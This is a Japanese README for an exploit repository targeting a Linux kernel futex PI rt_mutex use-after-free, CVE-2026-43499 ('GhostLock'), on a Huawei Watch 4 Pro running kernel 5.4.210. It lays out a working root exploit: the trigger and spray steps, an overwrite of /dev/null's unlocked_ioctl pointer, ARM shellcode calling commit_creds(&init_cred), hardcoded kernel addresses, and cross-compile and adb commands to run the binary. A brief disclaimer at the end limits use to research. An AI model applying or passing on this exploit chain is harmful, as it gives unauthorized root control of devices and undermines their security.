
CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究
Linux カーネルの futex PI rt_mutex Use-After-Free 脆弱性に関するリサーチおよびエクスプロイト開発。対象は Huawei Watch 4 Pro (MDS-AL00)、Snapdragon SW5100、armv7l、カーネル 5.4.210。
kernel/locking/rt_mutex.c の remove_waiter() は、プロキシロックのロールバック時に waiter->task ではなく誤って current を使用しているため、waiter タスクの pi_blocked_on をクリアできない。これにより、waiter のカーネルスタックフレームが解放された後も、task_struct からスタック上に確保された rt_mutex_waiter へのダングリングポインタが残る — 典型的なスタック Use-After-Free である。
futex(FUTEX_CMP_REQUEUE_PI) によって EDEADLK ロールバックを発生させる。waiter の pi_blocked_on が解放済みスタックを指す。prctl(PR_SET_NAME)(オプション 15、非特権)を使用して、制御可能な 15 バイトのデータをカーネルスタックにコピーし、偽の waiter の task/lock/prio フィールドを上書きする。sched_setattr() が PI チェーンウォークを発生させる。偽の waiter は、カーネルの file_operations 構造体と重なるように細工された rt_mutex にエンキューされる。赤黒木への挿入により、waiter のカーネルスタックアドレスが fops->unlocked_ioctl に書き込まれる。ioctl() を呼び出すと、上書きされた unlocked_ioctl ポインタを経由して、実行可能なカーネルスタック上のシェルコードへディスパッチされる。commit_creds(waiter) を呼び出す。ここで waiter の先頭フィールド(rb_insert_color によって設定される)が、uid/gid = 0 の偽の struct cred を形成する。fops->unlocked_ioctl を上書き)ioctl(null_fd, IOCTL_CMD, 0) 経由でシェルコードへディスパッチ -> commit_creds(&init_cred) -> root シェル)| 項目 | 値 |
|---|---|
| デバイス | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| カーネル | 5.4.210 (32-bit ARM) |
| KASLR | 無効 |
| PAN/SMAP | なし |
| PXN | 0xc1b00000+ には存在しない(スタック/BSS が実行可能) |
| CFI/PAC | なし |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
クロスコンパイル GCC または Zig を使用する場合:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
waiter+0x18 に配置される位置非依存の ARM シェルコード:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) が f_op->unlocked_ioctl(filp, cmd, arg) をディスパッチするとき、レジスタ r1 には cmd 引数が格納されています。cmd = 0x01B17E60 を設定することで、sub r0, r1, #0x40000000(エンコーディング 0xe2410101、ヌルバイトなし)は r0 = 0xc1b17e60(&init_cred)を計算します。commit_creds(&init_cred) は完全なケーパビリティとクリーンな SELinux セキュリティコンテキストを持つ root 資格情報をインストールし、do_vfs_ioctl(lr = 0xc031c8c0)へクリーンに戻ります。このベンダーカーネルの struct file_operations には、オフセット +0x24(poll と unlocked_ioctl の間)に余分な 4 バイトのフィールドがあり、標準の Linux 5.4 と比較して以降のすべてのメンバーが 4 バイトずれています:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
これは ashmem と null の fops ハンドラを逆アセンブルすることで検証されました。
このリポジトリはセキュリティ研究および教育のみを目的としています。所有していない、またはテストの許可を得ていないデバイスでこれらの手法を使用しないでください。